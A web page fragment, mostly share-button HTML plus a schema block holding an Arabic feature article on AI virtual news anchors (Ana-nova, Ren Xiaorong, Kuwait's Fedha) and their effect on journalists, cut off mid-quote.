				<a href="https://twitter.com/intent/tweet?text=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‫X" target="_blank" class="twitter-share-btn " data-raw="https://twitter.com/intent/tweet?text={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-twitter"></span> <span class="screen-reader-text">‫X</span>
				</a>
				<a href="https://www.linkedin.com/shareArticle?mini=true&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="لينكدإن" target="_blank" class="linkedin-share-btn " data-raw="https://www.linkedin.com/shareArticle?mini=true&amp;url={post_full_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-linkedin"></span> <span class="screen-reader-text">لينكدإن</span>
				</a>
				<a href="https://www.tumblr.com/share/link?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;name=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Tumblr" target="_blank" class="tumblr-share-btn " data-raw="https://www.tumblr.com/share/link?url={post_link}&amp;name={post_title}">
					<span class="share-btn-icon tie-icon-tumblr"></span> <span class="screen-reader-text">‏Tumblr</span>
				</a>
				<a href="https://pinterest.com/pin/create/button/?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;description=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg" rel="external noopener nofollow" title="بينتيريست" target="_blank" class="pinterest-share-btn " data-raw="https://pinterest.com/pin/create/button/?url={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-pinterest"></span> <span class="screen-reader-text">بينتيريست</span>
				</a>
				<a href="https://reddit.com/submit?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Reddit" target="_blank" class="reddit-share-btn " data-raw="https://reddit.com/submit?url={post_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-reddit"></span> <span class="screen-reader-text">‏Reddit</span>
				</a>
				<a href="https://vk.com/share.php?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‏VKontakte" target="_blank" class="vk-share-btn " data-raw="https://vk.com/share.php?url={post_link}">
					<span class="share-btn-icon tie-icon-vk"></span> <span class="screen-reader-text">‏VKontakte</span>
				</a>
				<a href="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&#038;st.shareUrl=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;description=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg" rel="external noopener nofollow" title="Odnoklassniki" target="_blank" class="odnoklassniki-share-btn " data-raw="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&st.shareUrl={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-odnoklassniki"></span> <span class="screen-reader-text">Odnoklassniki</span>
				</a>
				<a href="https://getpocket.com/save?title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‫Pocket" target="_blank" class="pocket-share-btn " data-raw="https://getpocket.com/save?title={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-get-pocket"></span> <span class="screen-reader-text">‫Pocket</span>
				</a>			</div><!-- .share-links /-->
		</div><!-- .share-buttons /-->

					</div>
		</div>

		<div class="clearfix"></div>
		<script id="tie-schema-json" type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"Article","dateCreated":"2025-06-05T20:31:13+00:00","datePublished":"2025-06-05T20:31:13+00:00","dateModified":"2025-06-11T07:48:32+00:00","headline":"\u0645\u0630\u064a\u0639 \u0645\u0646 \u0643\u0648\u062f\u2026\u0645\u0646 \u0627\u0644\u0623\u0633\u062a\u0648\u062f\u064a\u0648 \u0625\u0644\u0649 \u0627\u0644\u062e\u0648\u0627\u0631\u0632\u0645\u064a\u0629: \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u062b\u0648\u0631\u0629 \u062a\u0642\u0646\u064a\u0629 \u0623\u0645 \u0627\u063a\u062a\u064a\u0627\u0644 \u0644\u0644\u0647\u0648\u064a\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629\u061f","name":"\u0645\u0630\u064a\u0639 \u0645\u0646 \u0643\u0648\u062f\u2026\u0645\u0646 \u0627\u0644\u0623\u0633\u062a\u0648\u062f\u064a\u0648 \u0625\u0644\u0649 \u0627\u0644\u062e\u0648\u0627\u0631\u0632\u0645\u064a\u0629: \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u062b\u0648\u0631\u0629 \u062a\u0642\u0646\u064a\u0629 \u0623\u0645 \u0627\u063a\u062a\u064a\u0627\u0644 \u0644\u0644\u0647\u0648\u064a\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629\u061f","keywords":[],"url":"https:\/\/tahkoom.com\/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85\/","description":"\u00a0\u0643\u062a\u0628\u062a: \u0641\u0631\u062d \u0633\u0645\u064a\u0631 \u00a0\u0641\u064a \u0632\u0645\u0646\u064d \u0628\u0627\u062a\u062a \u0641\u064a\u0647 \u0627\u0644\u0645\u0630\u064a\u0639\u0629 \u062a\u0628\u062a\u0633\u0645 \u062f\u0648\u0646 \u0623\u0646 \u062a\u0645\u0644\u0643 \u0631\u0648\u062d\u064b\u0627\u060c \u0648\u064a\u0642\u062f\u0651\u0645 \u0627\u0644\u0645\u0630\u064a\u0639 \u0646\u0634\u0631\u0629 \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u062f\u0648\u0646 \u0623\u0646 \u064a\u0634\u0639\u0631 \u0628\u0645\u062d\u062a\u0648\u0627\u0647\u0627\u060c \u064a\u0637\u0631\u062d \u0627\u0644\u0648\u0627\u0642\u0639 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0633\u0624\u0627\u0644\u064b\u0627 \u0635\u0627\u062f\u0645\u064b\u0627: \u0647\u0644 \u062f\u062e\u0644\u0646\u0627 \u0639\u0635\u0631 \u201c\u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u201d \u0628\u0627\u0644\u0641\u0639\u0644\u061f \u0644\u0645 \u064a\u0639\u062f \u0638","copyrightYear":"2025","articleSection":"\u062e\u0637\u0648\u0629","articleBody":"\u00a0\u0643\u062a\u0628\u062a: \u0641\u0631\u062d \u0633\u0645\u064a\u0631\r\n\r\n\u00a0\u0641\u064a \u0632\u0645\u0646\u064d \u0628\u0627\u062a\u062a \u0641\u064a\u0647 \u0627\u0644\u0645\u0630\u064a\u0639\u0629 \u062a\u0628\u062a\u0633\u0645 \u062f\u0648\u0646 \u0623\u0646 \u062a\u0645\u0644\u0643 \u0631\u0648\u062d\u064b\u0627\u060c \u0648\u064a\u0642\u062f\u0651\u0645 \u0627\u0644\u0645\u0630\u064a\u0639 \u0646\u0634\u0631\u0629 \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u062f\u0648\u0646 \u0623\u0646 \u064a\u0634\u0639\u0631 \u0628\u0645\u062d\u062a\u0648\u0627\u0647\u0627\u060c \u064a\u0637\u0631\u062d \u0627\u0644\u0648\u0627\u0642\u0639 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0633\u0624\u0627\u0644\u064b\u0627 \u0635\u0627\u062f\u0645\u064b\u0627: \u0647\u0644 \u062f\u062e\u0644\u0646\u0627 \u0639\u0635\u0631 \u201c\u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u201d \u0628\u0627\u0644\u0641\u0639\u0644\u061f\r\n\r\n\u0644\u0645 \u064a\u0639\u062f \u0638\u0647\u0648\u0631 \u0645\u0630\u064a\u0639\u064a\u0646 \u0645\u062f\u0639\u0648\u0645\u064a\u0646 \u0628\u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0639\u0644\u0649 \u0634\u0627\u0634\u0627\u062a \u0639\u0631\u0628\u064a\u0629 \u0648\u0639\u0627\u0644\u0645\u064a\u0629 \u0645\u062c\u0631\u062f \u062a\u062c\u0631\u0628\u0629 \u062a\u0642\u0646\u064a\u0629\u060c \u0628\u0644 \u0623\u0635\u0628\u062d \u0648\u0627\u0642\u0639\u064b\u0627 \u064a\u0641\u0631\u0636 \u062d\u0636\u0648\u0631\u0647 \u0648\u064a\u062b\u064a\u0631 \u0627\u0644\u0642\u0644\u0642\u060c \u0644\u0627 \u0633\u064a\u0645\u0627 \u0628\u064a\u0646 \u0637\u0644\u0627\u0628 \u0627\u0644\u0625\u0639\u0644\u0627\u0645 \u0648\u0645\u0645\u0627\u0631\u0633\u064a\u0647\u060c \u0627\u0644\u0630\u064a\u0646 \u064a\u0631\u0648\u0646 \u0641\u064a \u0647\u0630\u0647 \u201c\u0627\u0644\u0643\u0627\u0626\u0646\u0627\u062a \u0627\u0644\u0631\u0642\u0645\u064a\u0629\u201d \u062a\u0647\u062f\u064a\u062f\u064b\u0627 \u0635\u0627\u0645\u062a\u064b\u0627 \u0644\u0645\u0647\u0646\u062a\u0647\u0645 \u0648\u0647\u0648\u064a\u062a\u0647\u0645 \u0627\u0644\u0645\u0647\u0646\u064a\u0629.\r\n\r\n\u00a0\u062a\u0639\u0648\u062f \u062c\u0630\u0648\u0631 \u0647\u0630\u0647 \u0627\u0644\u0638\u0627\u0647\u0631\u0629 \u0625\u0644\u0649 \u0623\u0648\u0627\u0626\u0644 \u0627\u0644\u0623\u0644\u0641\u064a\u0646\u0627\u062a\u060c \u062d\u064a\u0646 \u0638\u0647\u0631\u062a \u0623\u0648\u0644 \u0645\u0630\u064a\u0639\u0629 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a \u062a\u064f\u062f\u0639\u0649 \u201c\u0623\u0646\u0627\u0646\u0648\u0641\u0627\u201d (Ana-nova)\u060c \u0648\u0627\u0644\u062a\u064a \u062a\u0645 \u062a\u0642\u062f\u064a\u0645\u0647\u0627 \u0639\u0627\u0645 2000 \u0628\u0648\u0627\u0633\u0637\u0629 \u0634\u0631\u0643\u0629 Ana-nova Ltd \u0627\u0644\u062a\u0627\u0628\u0639\u0629 \u0644\u0648\u0643\u0627\u0644\u0629 \u0627\u0644\u0623\u0646\u0628\u0627\u0621 \u0627\u0644\u0628\u0631\u064a\u0637\u0627\u0646\u064a\u0629 Press Association. \u0643\u0627\u0646\u062a \u0623\u0646\u0627\u0646\u0648\u0641\u0627 \u062a\u064f\u0642\u062f\u0645 \u0646\u0634\u0631\u0627\u062a \u0625\u062e\u0628\u0627\u0631\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a\u060c \u0648\u062a\u0645\u064a\u0632\u062a \u0628\u0642\u062f\u0631\u062a\u0647\u0627 \u0639\u0644\u0649 \u062a\u0642\u062f\u064a\u0645 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0641\u0648\u0631\u064a\u0629 \u0641\u064a \u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0623\u062e\u0628\u0627\u0631\u060c \u0627\u0644\u0637\u0642\u0633\u060c \u0627\u0644\u0631\u064a\u0627\u0636\u0629\u060c \u0648\u0623\u0633\u0639\u0627\u0631 \u0627\u0644\u0623\u0633\u0647\u0645\u060c \u0641\u064a \u0645\u062f\u0629 \u0644\u0627 \u062a\u062a\u062c\u0627\u0648\u0632 \u0633\u0628\u0639 \u062f\u0642\u0627\u0626\u0642\u060c \u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u0645\u0634\u0631\u0648\u0639 \u0644\u0645 \u064a\u064f\u0633\u062a\u0643\u0645\u0644.\r\n\r\n\u00a0\u0648\u0641\u064a \u0639\u0627\u0645 2018\u060c \u0642\u062f\u0645\u062a \u0635\u062d\u064a\u0641\u0629 \u201cPeople\u2019s Daily\u201d \u0627\u0644\u0635\u064a\u0646\u064a\u0629 \u0645\u0630\u064a\u0639\u0629 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u062a\u064f\u062f\u0639\u0649 \u201c\u0631\u064a\u0646 \u0634\u064a\u0627\u0648\u0631\u0648\u0646\u063a\u201d (Ren Xiaorong)\u060c \u0648\u0647\u064a \u0631\u0648\u0628\u0648\u062a \u0645\u062f\u0639\u0648\u0645 \u0628\u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0642\u0627\u062f\u0631 \u0639\u0644\u0649 \u0627\u0644\u062a\u0639\u0644\u0645 \u0645\u0646 \u0622\u0644\u0627\u0641 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0628\u0634\u0631\u064a\u064a\u0646\u060c \u0648\u062a\u0645\u062a\u0627\u0632 \u0628\u0642\u062f\u0631\u062a\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u0645\u0633\u062a\u0645\u0631 \u0628\u0646\u0627\u0621\u064b \u0639\u0644\u0649 \u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u062c\u0645\u0647\u0648\u0631\u060c \u0648\u062a\u0639\u0645\u0644 \u0639\u0644\u0649 \u0645\u062f\u0627\u0631 \u0627\u0644\u0633\u0627\u0639\u0629 \u0637\u0648\u0627\u0644 \u0623\u064a\u0627\u0645 \u0627\u0644\u0623\u0633\u0628\u0648\u0639.\r\n\r\n\u00a0\u0628\u062d\u0644\u0648\u0644 \u0639\u0627\u0645 2019\u060c \u0634\u0647\u062f\u062a \u0627\u0644\u0635\u064a\u0646 \u062a\u0648\u0633\u0639\u064b\u0627 \u0643\u0628\u064a\u0631\u064b\u0627 \u0641\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646\u060c \u062d\u064a\u062b \u0623\u0635\u0628\u062d\u062a \u0645\u0646\u0635\u0629 \u201c\u0628\u064a\u0644\u064a \u0628\u064a\u0644\u064a\u201d (Bilibili) \u0645\u0648\u0637\u0646\u064b\u0627 \u0644\u0623\u0643\u062b\u0631 \u0645\u0646 230,000 \u0645\u0630\u064a\u0639 \u0627\u0641\u062a\u0631\u0627\u0636\u064a \u064a\u0642\u062f\u0645\u0648\u0646 \u0645\u062d\u062a\u0648\u0649 \u0645\u062a\u0646\u0648\u0639\u064b\u0627 \u064a\u0633\u062a\u0647\u062f\u0641 \u0641\u0626\u0629 \u0627\u0644\u0634\u0628\u0627\u0628.\r\n\r\n\u00a0\u0648\u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u062a\u0637\u0648\u0631\u0627\u062a\u060c \u0628\u062f\u0623\u062a \u062f\u0648\u0644 \u0623\u062e\u0631\u0649 \u0641\u064a \u062a\u0628\u0646\u064a \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646. \u0641\u0641\u064a \u0639\u0627\u0645 2023\u060c \u0642\u062f\u0645\u062a \u0627\u0644\u0643\u0648\u064a\u062a \u0623\u0648\u0644 \u0645\u0630\u064a\u0639\u0629 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0639\u0631\u0628\u064a \u062a\u064f\u062f\u0639\u0649 \u201c\u0641\u0636\u0629\u201d (Fedha)\u060c \u062d\u064a\u062b \u0638\u0647\u0631\u062a \u0639\u0644\u0649 \u0645\u0648\u0642\u0639 \u201cKuwait News\u201d \u0648\u062a\u062d\u062f\u062b\u062a \u0628\u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0627\u0644\u0641\u0635\u062d\u0649\u060c \u0645\u0642\u062f\u0651\u0645\u0629 \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u0628\u0646\u0627\u0621\u064b \u0639\u0644\u0649 \u062a\u0641\u0636\u064a\u0644\u0627\u062a \u0627\u0644\u062c\u0645\u0647\u0648\u0631.\r\n\r\n\u00a0\u0643\u0645\u0627 \u0623\u0637\u0644\u0642\u062a \u0642\u0637\u0631 \u0645\u0630\u064a\u0639\u062a\u064a\u0646 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u062a\u064a\u0646 \u062a\u064f\u062f\u0639\u064a\u0627\u0646 \u201c\u0627\u0628\u062a\u0643\u0627\u0631\u201d \u0648\u201c\u0646\u0648\u0631\u0627\u201d \u0644\u062a\u0639\u0632\u064a\u0632 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0641\u064a \u062a\u0642\u062f\u064a\u0645 \u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u060c \u0628\u064a\u0646\u0645\u0627 \u0638\u0647\u0631\u062a \u0641\u064a \u0645\u0635\u0631 \u0623\u0648\u0644 \u0645\u0630\u064a\u0639\u0629 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0641\u064a \u0641\u0628\u0631\u0627\u064a\u0631 2023\u060c \u0645\u0645\u0627 \u064a\u0639\u0643\u0633 \u0627\u0644\u062a\u0648\u062c\u0647 \u0627\u0644\u0645\u062a\u0632\u0627\u064a\u062f \u0646\u062d\u0648 \u062f\u0645\u062c \u0627\u0644\u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062d\u062f\u064a\u062b\u0629 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a.\r\n\r\n\u00a0\u201c\u0645\u0627 \u0628\u064a\u0646 \u0627\u0644\u062d\u064a \u0648\u0627\u0644\u0631\u0642\u0645\u064a: \u0647\u0644 \u064a\u064f\u0642\u0635\u064a \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0627\u0644\u0628\u0634\u0631\u064a\u061f\u201d \u0627\u0644\u0645\u0647\u0646\u0629 \u0641\u064a \u0645\u0648\u0627\u062c\u0647\u0629 \u0627\u0644\u062e\u0648\u0627\u0631\u0632\u0645\u064a\u0627\u062a: \u0627\u0644\u0645\u0630\u064a\u0639\u0648\u0646 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0648\u0646 \u064a\u062a\u062d\u062f\u062b\u0648\u0646\u201d\r\n\r\n\r\n\r\n\u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \u2013 \u062f\u0639\u0627\u0621 \u0641\u0627\u0631\u0648\u0642\r\n\r\n\u0641\u064a \u0631\u0623\u064a\u0647\u0627 \u062d\u0648\u0644 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0648\u0638\u0627\u0647\u0631\u0629 \u201c\u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u201d\u060c \u062a\u0624\u0643\u062f \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \u062f\u0639\u0627\u0621 \u0641\u0627\u0631\u0648\u0642 \u0623\u0646 \u0627\u0644\u0625\u062e\u0644\u0627\u0635 \u0647\u0648 \u062c\u0648\u0647\u0631 \u0627\u0644\u0646\u062c\u0627\u062d \u0641\u064a 